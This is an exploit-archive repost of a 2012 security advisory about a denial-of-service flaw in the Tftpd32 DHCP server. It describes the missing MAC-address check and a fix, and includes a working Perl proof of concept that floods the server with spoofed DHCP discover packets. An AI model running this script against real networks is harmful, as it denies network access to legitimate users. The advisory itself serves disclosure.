首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Tftpd32 DHCP Server Denial Of Service Vulnerability
来源:demonalex(at)163(dot)com 作者:demonalex 发布时间:2012-05-24  
Title: Tftpd32 DHCP Server Denial Of Service Vulnerability
Software : Tftpd32

Software Version : v4.00

Vendor: http://tftpd32.jounin.net/

Vulnerability Published : 2012-05-21

Vulnerability Update Time :

Status :

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
Tftpd32 is a free tftp and dhcp server for windows, freeware tftp server.
The tftpd32's dhcp server does not identify whether the real source mac address of dhcp discover packet is the same as client hardware address in payload of

dhcp discover packet, so that attacker can makes evil dhcp discover packets to cram dhcp client list of the dhcp server, and then no one can gain ip address

from the dhcp server.

Solution :
Like the other dhcp server, the tftpd32's dhcp server can drop the dhcp discover packet when it was detected the different between source mac address of dhcp

discover packet and client hardware address in payload of dhcp discover packet.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
$a=1;
while(1){
  print "\Request Number : $a\n";

      $mac=int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).
  int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9));

      $socket = IO::Socket::INET->new( Proto => 'udp',
      Broadcast => 1,
      LocalPort => 68,
      PeerAddr =>'255.255.255.255',
      PeerPort => 67,
      ) || die "Unable to create socket: $@\n";
   
      $discover = Net::DHCP::Packet->new(
      xid => int rand(0xFFFFFFFF),
      Chaddr => $mac,
      DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
      DHO_VENDOR_CLASS_IDENTIFIER() => 'MyVendorClassID',
      DHO_DHCP_PARAMETER_REQUEST_LIST() => '1 2 6 12 15 28 67');

      $discover->addOptionRaw( 61, pack('H*',$mac));
   
      print "Sending DISCOVER to 255.255.255.255:67\n";
   
      $socket->send( $discover->serialize() ) or die "Unable to send Discover:$!\n";
   
      $socket->close();
   
      sleep(3);

      $a++;
}
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Symantec End Point Protection
·OpenOffice OLE Importer Docume
·appRain CMF Arbitrary PHP File
·Novell Client 4.91 SP4 Privile
·bsnes v0.87 Local Denial Of Se
·FlexNet License Server Manager
·RabidHamster R4 Log Entry spri
·Supernews <= 2.6.1 SQL Injecti
·Symantec Web Gateway 5.0.2 Rem
·PHP <= 5.4.3 (com_event_sink)
·QuickShare File Share 1.2.1 Di
·PHP <= 5.4.3 wddx_serialize_*
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved